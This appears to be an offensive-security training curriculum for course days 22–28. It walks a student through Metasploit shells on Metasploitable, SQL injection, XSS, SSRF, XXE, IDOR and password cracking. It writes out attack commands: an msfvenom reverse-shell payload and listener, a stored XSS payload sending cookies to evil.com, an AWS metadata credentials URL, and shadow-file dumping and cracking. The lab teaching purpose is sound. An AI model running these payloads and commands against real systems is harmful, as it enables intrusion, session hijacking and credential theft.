Seven days of hands-on exploitation — Metasploit framework, your first real shell, SQL injection at depth, XSS and CSRF attacks, SSRF and XXE, OWASP Top 10, and password cracking with Hashcat. Phase 2 ends with a full HackTheBox machine walkthrough.
TOOLLAB msfconsole · Exploits · Payloads · Meterpreter · First Shell
Today you get your first real shell. Metasploit Framework is the world's most widely used exploitation framework — trusted by pentesters, red teams, and (unfortunately) attackers worldwide. It's a library of 2,300+ exploits, 1,000+ payloads, and powerful post-exploitation tools. After today, you'll go from "I found a vulnerability" to "I have a shell and full control."
| COMPONENT | WHAT IT IS | EXAMPLE |
|---|---|---|
| Exploit | The code that takes advantage of a vulnerability to gain execution | exploit/unix/ftp/vsftpd_234_backdoor |
| Payload | The code that runs AFTER the exploit succeeds — what you actually do with access | payload/cmd/unix/interact, windows/meterpreter/reverse_tcp |
| Auxiliary | Modules that don't exploit — scanners, fuzzers, brute-forcers, denial of service | auxiliary/scanner/smb/smb_ms17_010 |
| Post | Post-exploitation modules — run AFTER you have a shell to escalate, persist, pivot | post/multi/recon/local_exploit_suggester |
| Encoder | Transform payloads to evade antivirus signature detection | encoder/x86/shikata_ga_nai |
| Meterpreter | Advanced in-memory payload — lives in RAM, never touches disk, hard to detect | Full filesystem, webcam, keylogger, pivoting |
msf6 > prompt appears. Everything happens here.msf6 exploit(unix/ftp/vsftpd_234_backdoor) >sessions -i 1This is real. CVE-2011-2523 is an actual backdoor that was secretly inserted into the vsftpd 2.3.4 source code distribution in 2011. When a username containing a smiley face ":)" is sent to the FTP server, it opens a root shell on port 6200. Metasploitable 2 runs this exact version. You are about to exploit a real CVE against a real vulnerable service.
| TYPE | NOTATION | HOW IT WORKS | WHEN TO USE |
|---|---|---|---|
| Staged | windows/meterpreter/reverse_tcp(slash between meterpreter and reverse_tcp) |
Small first stage ("stager") runs on target, connects back to Metasploit, downloads the full payload in memory. Two-stage delivery. | When payload size is constrained (buffer overflows with limited space). Requires stable C2 connection. |
| Stageless | windows/meterpreter_reverse_tcp(underscore — no slash) |
Single self-contained payload. Everything is included. Larger file but works even if outbound connection to Metasploit drops after initial execution. | When reliability matters more than size. Better for unstable connections. |
getuid shows NT AUTHORITY\NETWORK SERVICE. You want to dump password hashes with hashdump but it fails. What is the correct sequence to get it working?ps to find a SYSTEM-owned process, migrate into it, then retry hashdumpload kiwi to use Mimikatz — it bypasses the privilege requirementhashdump -force flag to override the permission requirementid.cat /etc/shadow. Copy all hashes — you'll crack them on Day 27.exploit/multi/samba/usermap_script — this exploits another Metasploitable service (Samba). Exploit it. Compare the shell you get.exploit/multi/handler, set payload to linux/x86/meterpreter/reverse_tcp, set LHOST to your Kali IP, run. This is your listener for custom payloads.msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=4444 -f elf -o shell.elf. Upload to Metasploitable. Execute it. See your Meterpreter session open.sysinfo, getuid, ps, screenshot, and download /etc/passwd /tmp/passwd_loot.txt.THEORYLAB Manual SQLi · UNION Attacks · Blind SQLi · sqlmap
SQL Injection has been the #1 web vulnerability for over two decades. It occurs when user input is concatenated directly into SQL queries without sanitization. The attacker's input becomes part of the query logic — allowing database extraction, authentication bypass, file read/write, and in some cases remote code execution. It's so common because developers keep making the same mistake.
admin'-- as username and any password. You get "Invalid credentials." You then try admin' OR '1'='1'-- and also get "Invalid credentials." But when you try admin' AND SLEEP(5)--, the response takes exactly 5 seconds. What does this tell you?THEORYLAB Reflected · Stored · DOM-Based · Cookie Theft · Defacement
XSS is the most prevalent web vulnerability. It occurs when user-supplied input is reflected in a web page without proper encoding, allowing an attacker to inject JavaScript that executes in victim browsers. The attacker's code runs with the same privileges as the page — meaning it can steal cookies, redirect users, log keystrokes, and make API requests on behalf of the victim.
| TYPE | WHERE PAYLOAD LIVES | WHO IS AFFECTED | SEVERITY |
|---|---|---|---|
| Reflected | URL parameter — reflected immediately in response. Not stored. | Only users tricked into clicking a crafted URL. Requires social engineering. | Medium–High |
| Stored (Persistent) | Saved in database — returned to all users who view the page. | EVERY user who views the page containing the payload. No social engineering needed. | Critical |
| DOM-Based | JavaScript in the page reads from URL/storage and writes to DOM without going to server. | Users tricked into visiting crafted URLs. The payload never reaches the server — bypasses server-side filters. | Medium–High |
<script>document.location='https://evil.com/?c='+document.cookie</script> as a comment. It saves successfully. Three days later you receive 47 requests to evil.com with different session cookies. What type of XSS is this, and why is it far more dangerous than reflected XSS?THEORYLAB Request Forgery · Server-Side Requests · XML External Entities
CSRF tricks a victim's browser into making unauthorized requests to a site where they're authenticated. The browser automatically includes cookies — so the server sees a legitimate authenticated request. The victim doesn't know anything happened. The attacker never needs to see the response.
SSRF is one of the most critical modern web vulnerabilities — it rose to OWASP #10 in 2021. It occurs when a server makes HTTP requests based on attacker-controlled input. The attacker uses the server itself as a proxy to reach internal resources. In cloud environments, SSRF often leads to complete cloud account takeover via metadata endpoints.
XXE occurs when an application parses XML and the XML parser allows external entity references. An attacker-defined entity can reference local files, internal URLs, or execute OS commands in some parsers. Any application that accepts XML (SOAP APIs, file upload of .docx/.xlsx, SVG upload) is a potential target.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ and the app returns EC2-WebServer-Role. What is your next step and what is the realistic worst-case impact?THEORYLAB OWASP Top 10 · Horizontal / Vertical Privilege Escalation · API Security
Broken Access Control is OWASP #1 — the most common critical web vulnerability. 94% of tested applications had some form of broken access control. It's not about technical complexity — it's about the server trusting the client to police itself. Access control must be enforced server-side on every request. Client-side enforcement (hiding buttons, greying out fields) is purely cosmetic — Burp Suite ignores it entirely.
IDOR is horizontal privilege escalation — accessing another user's resources at the same privilege level. Vertical escalation accesses functions that require higher privilege (admin functions, management APIs) by bypassing the access check — not by stealing credentials.
GET /api/v1/admin/users and receive a 200 with a list of all 50,000 users including hashed passwords. The front-end doesn't show an "Admin" menu to regular users. What is the vulnerability and why did hiding the menu fail as a security control?TOOLLAB Hashcat · John the Ripper · Credential Stuffing · Password Spraying
Password attacks are the most common initial access vector. 80%+ of breaches involve credential compromise. Weak passwords, reused passwords, and credential dumps from other breaches are your primary inputs. The art is in choosing the right attack mode — brute-forcing 8-char bcrypt is computationally futile, but smart dictionary + rule attacks crack 60–80% of real-world MD5/NTLM hashes in minutes.
* Full random 8-char printable ASCII bruteforce (~7 trillion combinations). Real passwords from wordlists crack much faster — rockyou.txt (14M passwords) runs in under 1 second on MD5.
| ATTACK TYPE | WHAT IT IS | TOOL | DETECTION RISK |
|---|---|---|---|
| Brute Force | Try ALL possible password combinations against a login. Exhaustive. | Hydra, Medusa, Burp Intruder | Very High — triggers lockout and IDS immediately |
| Dictionary Attack | Try a wordlist of likely passwords. Faster, smarter than brute force. | Hydra: -P rockyou.txt |
High — many failed attempts per user |
| Password Spraying | Try ONE common password (e.g., "Spring2024!") against MANY users. Avoids lockout per-account. | CrackMapExec, Ruler, Spray | Low — 1 attempt per user, below lockout threshold |
| Credential Stuffing | Try username:password pairs from previous data breaches. Password reuse is ~65%. | Snipr, Sentry MBA, custom scripts | Low–Medium — valid credentials = looks like real login |
aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c. Without running Hashcat, what can you tell from the first half of this hash, and what's the most efficient cracking approach for NTLM?LAB HackTheBox Machine · Full Attack Chain · Phase 2 Review · Phase 3 Preview
Phase 2 complete. You've gone from reconnaissance to full exploitation — Metasploit shells, SQL injection database dumps, XSS session theft, SSRF to cloud credentials, IDOR privilege escalation, and cracking real password hashes. Today you chain everything into a complete attack against a real HackTheBox machine.
Everything you've learned follows a single methodology. Before touching Phase 3 (advanced exploitation), internalize this chain until it's automatic:
| WEEK | DAY | SKILL MASTERED | TOOL |
|---|---|---|---|
| Week 3 | 15 | Nmap all scan types, NSE scripts, timing templates | nmap |
| 16 | Directory/subdomain/parameter brute-force | Gobuster, ffuf, Nikto | |
| 17 | Vulnerability scanning, CVSS triage | OpenVAS, Nessus | |
| 18 | AD enumeration, BloodHound attack paths | BloodHound, enum4linux | |
| 19 | HTTP methods, cookies, security headers | curl, DevTools | |
| 20 | Burp Suite proxy, Repeater, manual testing | Burp Suite | |
| 21 | HackTheBox: Meow, Fawn, Dancing, Redeemer | All of the above | |
| Week 4 | 22 | Metasploit: exploit, payload, Meterpreter | msfconsole, msfvenom |
| 23 | SQL injection: manual + automated + all types | Burp Suite, sqlmap | |
| 24 | XSS: reflected, stored, DOM, cookie theft | Burp Suite, XSS Hunter | |
| 25 | CSRF, SSRF (AWS meta), XXE file read | Burp Suite | |
| 26 | IDOR, vertical privesc, OWASP Top 10 | Burp Suite, Intruder | |
| 27 | Hashcat all modes, Hydra, password spraying | Hashcat, Hydra, CME | |
| 28 | Full attack chain HackTheBox machine | Everything |
No walkthrough mode. Attempt each step independently for 30 minutes before checking hints. The struggle is where you learn. Document EVERY command you run and why.
shadow_hashes.txthashcat -m 500 shadow_hashes.txt rockyou.txt (MD5crypt for /etc/shadow)john shadow_hashes.txt --wordlist=rockyou.txtPhase 2 Readiness Checklist: Before Phase 3, verify you can: (1) Get a root Meterpreter shell on Metasploitable via vsftpd in under 3 minutes from scratch. (2) Manually exploit a SQLi UNION attack to dump a database table. (3) Create a stored XSS payload that exfiltrates cookies. (4) Set up Burp and find an IDOR vulnerability by changing object IDs in Repeater. (5) Crack a provided list of MD5 hashes using rockyou + rules. (6) Get user and root flags on at least one HackTheBox easy machine independently.